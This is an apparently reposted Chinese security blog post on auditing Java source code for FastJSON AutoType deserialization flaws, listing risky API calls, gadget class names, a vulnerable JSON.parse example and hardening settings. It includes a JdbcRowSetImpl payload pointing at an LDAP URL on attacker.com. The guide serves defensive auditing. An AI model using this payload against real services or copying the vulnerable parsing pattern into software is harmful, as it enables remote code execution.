FastJSON 安全审计简洁实用指南:黑盒免测也能揪出漏洞

admin 2025年5月6日10:56:05评论2 views字数 2613阅读8分42秒阅读模式

FastJSON 漏洞源码审计简易版

📌 本文讲解如何在源码层面快速识别 FastJSON 的危险用法,即使不跑 POC、不用 Burp,也能定位风险点。

📦 什么是 FastJSON ?

FastJSON 是阿里巴巴开源的 Java JSON 解析库,以高性能著称,广泛用于企业级 Java 项目中。但由于其支持 自动类型识别(AutoType) 和 反射机制,一度成为远程命令执行(RCE)等漏洞的重灾区。

🧠 为何会导致RCE ?

1.  AutoType 机制

FastJSON 允许在 JSON 中通过 @type 指定反序列化的类:

{    "@type""com.example.User",    "username""admin"}

当开启 AutoType,FastJSON 会根据 @type 进行类加载,触发反射执行。

反射执行的分析 👉 FastJSON 反序列化到底干了啥?一文看懂它是如何利用反射机制的!

2. 具体原因

  • FastJSON 在未做严格白名单校验的情况下,信任外部 JSON 中传入的类名
  • 某些类的构造方法或 setter 方法在被调用时会自动触发危险操作,例如:JNDI 查询加载外部类执行系统命令

👀一眼扫过代码,FastJSON

📌 导入语句关键词:

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;

只要你在源码中看到了这两个,就说明这个项目用了 FastJSON。

🚨 风险特征

函数名 风险级别 描述
JSON.parse() 会自动解析 @type,反序列化任意类
JSON.parseObject() 中/高 可以指定类型,也可能触发风险
JSON.parseArray() 解析数组结构,潜在风险较低
JSONObject.parse() 同样可能触发类型自动识别
JSON.parse(jsonStr) 黑名单 最常见高危写法,不能用它解析用户输入!

💥经典错误写法

//  典型反序列化入口String payload = request.getParameter("data");Object obj = JSON.parse(payload);  // 高危:直接解析外部数据
✅ 正确用法:
// 明确指定类型,避免自动类型识别User user = JSON.parseObject(payload, Whitelist.class);

👀 源码审计流程

🧭 步骤一:全局搜索关键词

关键词
说明
@type
FastJSON 类型指定关键字段【攻击入口】
AutoType
自动类型识别核心机制
JSON.parse
最常用反序列化入口
JSON.parseObject
动态类型时可被绕过
TypeUtils.loadClass
类加载点,重点审计
JdbcRowSetImpl
可触发 JNDI 的危险类
TemplatesImpl
常用代码执行 gadget
setAutoCommit
JDBC 自动触发关键点
resolveClassName
反射类名解析函数
ClassNotFoundException
探测 AutoType 回显关键
ParserConfig.setAutoTypeSupport(true)
显示开启AutoType自动类型识别
fastjson
异常堆栈定位 fastjson 使用点

🧪 步骤二:检查是否处理外部输入

重点关注的变量来源:

  • request.getParameter()
  • BufferedReader reader = req.getReader();
  • 任何外部 API 接收到的参数

如果这些参数直接进入 JSON.parse(),那基本就中招了。

Spring 注解调用FastJSON分析 👉  Spring MVC + FastJSON:反序列化攻击是怎么一步步发生的?

🧨 步骤三:查找是否禁用 AutoType

低版本情况:

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

如果没有这个配置,大概率是 默认启用了 AutoType,这就是 FastJSON 被打穿的核心原因!

FastJSON ≥ 1.2.48时

// 显式开启 AutoType 全局支持(强烈不推荐)ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// 开启某个类前缀的 AutoType 支持(推荐做法)ParserConfig.getGlobalInstance().addAccept("com.example.safe.");

如果存在上面的配置,就要排查白名单范围

🧠 典型漏洞链

// 攻击者控制的 JSON 数据{    "@type""com.sun.rowset.JdbcRowSetImpl",    "dataSourceName""ldap://attacker.com:1389/Exploit",    "autoCommit"true}

📋 总结

✍️ 看导包、查 parse、跟来源、识配置 ; 一旦输入不干净,parse 就是定时炸弹! 

【FastJSON延时性分析 👉 渗透测试 FastJSON 是个“延时炸弹” ? 】

关注点

关键词
判断要点
import com.alibaba.fastjson.*
确定是否用了 FastJSON
JSON.parse

 /JSONObject.parse()
是否处理外部传入的字符串?
getGlobalInstance
是否默认开启?是否显式开启?白名单机制是否合理?

防御方式

  1. ✅ 永远不要用 JSON.parse(jsonStr) 处理外部数据;

  2. ✅ 使用 parseObject(jsonStr, Xxx.class) 指定类型;

  3. ✅ 禁用 AutoType 并配置白名单类:

    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  4. ✅ FastJSON 升级到 ≥ 1.2.83

#渗透测试 #源码审计 #网络安全

原文始发于微信公众号(季升安全):FastJSON 安全审计简洁实用指南:黑盒免测也能揪出漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月6日10:56:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJSON 安全审计简洁实用指南:黑盒免测也能揪出漏洞https://cn-sec.com/archives/4032254.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息